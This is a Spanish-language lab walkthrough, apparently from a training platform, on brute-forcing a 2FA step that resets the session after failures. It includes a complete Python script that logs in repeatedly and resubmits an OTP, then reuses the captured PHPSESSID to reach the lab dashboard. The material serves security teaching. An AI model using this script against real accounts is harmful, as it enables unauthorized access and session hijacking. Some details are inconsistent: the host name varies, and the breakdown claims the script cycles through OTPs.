En algunas aplicaciones, fallar el reto 2FA puede causar que la aplicación revierta al usuario de vuelta a la primera parte de autentificación del proceso. Este comportamiento ocurre normalmente debido a medidas de seguridad para prevenir la fuerza bruta.
Razones Comunes para este Comportamiento
Invalidación de Sesión
Si fallas la autentificación 2FA, la aplicación puede que invalide la sesión del usuario como medida de seguridad, forzando al usuario a que comience de nuevo el proceso de autentificación.
Limitación de Frecuencia y Políticas de Bloqueo
Para prevenir que los atacantes intenten bypassear el 2FA repetidamente, la aplicación puede tener un límite de frecuencia o mecanismos de bloqueo que se disparan después de un número de intentos fallidos.
Redirección por Seguridad
Algunas aplicaciones están diseñadas para redirigir a los usuarios de vuelta a la página de login después de un número de intentos fallidos, revirtiendo al usuario al paso inicial.
La Automatización es Clave
La automatización hace la vida más fácil al atacar estos tipos de protección porque:
Rapidez
Iniciar sesión manualmente cada vez que te cierran la sesión es lento y tedioso. La automatización lo puede hacer mucho más rápido.
Consistencia
La automatización evita errores que pueden pasar si estás haciendo acciones repetitivas una y otra vez. Es confiable.
Recuperarse de los Cierres de Sesión
Si la aplicación te cierra la sesión después de unos cuantos intentos fallidos, el script puede iniciar sesión de vuelta y seguir intentándolo. Esto ahorra el proceso de tener que hacerlo manualmente cada vez.
Personalización
Crear un script de automatización manualmente para el ataque ofrece más flexibilidad que usar una única herramienta como ZAP o Burp Suite. Puedes personalizar tus scripts para comprobar escenarios específicos como usar diferentes IPs o user-agents o variar los tiempos entre peticiones.
Explotación
La aplicación hosteada en http://mfs.thm/labs/third cierra la sesión del usuario automáticamente si falla el 2FA. Con propósito de demostración, la aplicación también genera un PIN de 4 dígitos cada vez que el usuario inicia sesión en la aplicación.
En una aplicación real el PIN suele fluctuar entre 0000 y 9999 (si tiene 4 dígitos), pero por el propósito de la tarea está reducido.
function generateToken() { $token = strval(rand(1250, 1350)); $_SESSION['token'] = $token; return 'success'; }
Usando el siguiente script, guárdalo como exploit.py y ejecútalo en tu terminal:
import requests # Define the URLs for the login, 2FA process, and dashboard login_url = 'http://mfa.thm/labs/third/' otp_url = 'http://mfa.thm/labs/third/mfa' dashboard_url = 'http://mfa.thm/labs/third/dashboard' # Define login credentials credentials = { 'email': 'thm@mail.thm', 'password': 'test123' } # Define the headers to mimic a real browser headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': 'http://mfa.thm', 'Connection': 'close', 'Referer': 'http://mfa.thm/labs/third/mfa', 'Upgrade-Insecure-Requests': '1' } # Function to check if the response contains the login page def is_login_successful(response): return "User Verification" in response.text and response.status_code == 200 # Function to handle the login process def login(session): response = session.post(login_url, data=credentials, headers=headers) return response # Function to handle the 2FA process def submit_otp(session, otp): # Split the OTP into individual digits otp_data = { 'code-1': otp[0], 'code-2': otp[1], 'code-3': otp[2], 'code-4': otp[3] } response = session.post(otp_url, data=otp_data, headers=headers, allow_redirects=False) # Disable auto redirects print(f"DEBUG: OTP submission response status code: {response.status_code}") return response # Function to check if the response contains the login page def is_login_page(response): return "Sign in to your account" in response.text or "Login" in response.text # Function to attempt login and submit the hardcoded OTP until success def try_until_success(): otp_str = '1337' # Hardcoded OTP while True: # Keep trying until success session = requests.Session() # Create a new session object for each attempt login_response = login(session) # Log in before each OTP attempt if is_login_successful(login_response): print("Logged in successfully.") else: print("Failed to log in.") continue print(f"Trying OTP: {otp_str}") response = submit_otp(session, otp_str) # Check if the response is the login page (unsuccessful OTP) if is_login_page(response): print(f"Unsuccessful OTP attempt, redirected to login page. OTP: {otp_str}") continue # Retry login and OTP submission # Check if the response is a redirect (status code 302) if response.status_code == 302: location_header = response.headers.get('Location', '') print(f"Session cookies: {session.cookies.get_dict()}") # Check if it successfully bypassed 2FA and landed on the dashboard if location_header == '/labs/third/dashboard': print(f"Successfully bypassed 2FA with OTP: {otp_str}") return session.cookies.get_dict() # Return session cookies after successful bypass elif location_header == '/labs/third/': print(f"Failed OTP attempt. Redirected to login. OTP: {otp_str}") else: print(f"Unexpected redirect location: {location_header}. OTP: {otp_str}") else: print(f"Received status code {response.status_code}. Retrying...") # Start the attack to try until success try_until_success()
Desglose del código
Preparación del Script
- URLs:
login_url: La URL de la página de inicio de sesión.otp_url: La URL de la página donde se sube el PIN de 4 dígitos.dashboard_url: La URL de la página a la que se redirige al usuario después de un inicio de sesión exitoso.
- Credenciales:
- El diccionario
credentialscontiene los emails y contraseñas que serán usadas para iniciar sesión.
- El diccionario
- Headers:
- El diccionario
headerscontiene los headers HTTP que imitan a una petición de navegador real, incluyendoUser-Agent,Referer,Content-Typey más.
- El diccionario
Funciones
is_login_successful(response): Comprueba si el login fue exitoso buscando la frase "User Verification" en la respuesta y asegurando que el código de estado es200 OK.login(session): Realiza el login mandando una petición POST con las credenciales del usuario a lalogin_url. Devuelve la respuesta del servidor.submit_otp(session,otp): Manda el PIN OTP de 4 dígitos aotp_urlcomo petición POST. El OTP se divide en dígitos individuales y se mandan como parámetros (code-1,code-2, etc.). Devuelve la respuesta del servidor.is_login_page(response): Comprueba si la respuesta contiene la página de login buscando palabras clave como "Sign in to your account" o "Login" en la respuesta.
Proceso de Fuerza Bruta
- Rango OTP: El script ciclará hasta que la aplicación responda con el mismo OTP configurado en el script.
- Creación de Sesión: Para cada intento OTP, una nueva sesión es creada usando
requests.Session(), asegurando una sesión nueva para cada login e intento de subida OTP. - Intento de Login: El script intenta iniciar sesión usando las credenciales ofrecidas. Si el login es exitoso, imprime "Logged in successfully" y continúa con la subida OTP. Si el login falla, el script salta hasta el próximo OTP.
- Subida OTP: El formato del script OTP tiene una string de 4 dígitos y la manda a
otp_url. - Manejo de Respuesta:
- Si la respuesta del servidor contiene la página de login, el script imprime un mensaje de error y continúa con el siguiente OTP.
- Si la respuesta tiene un código de estado
302 Found, comprueba el headerLocation:- Si es redirigido a
/labs/third/dashboard, indica un bypass exitoso de OTP y el script imprime un mensaje de éxito y sale. - Si es redirigido a
/labs/third, indica OTP fallado y muestra un mensaje de error. - Cualquier otra dirección de redirección se marca como inesperada
- Si es redirigido a
- Si la respuesta tiene cualquier otro código de estado, el script lo imprime y prueba el siguiente OTP.
Una vez que el script tiene éxito con la fuerza bruta, inicia sesión.

Usando la PHPSESSID que hemos obtenido, vamos a http://mfa.thm/labs/third, abrimos las herramientas de desarrollador y cambiamos el valor PHPSESSID en el apartado de "Cookies" en "Storage".

Una vez cambiado vamos a http://mfa.thm/labs/third/dashboard.

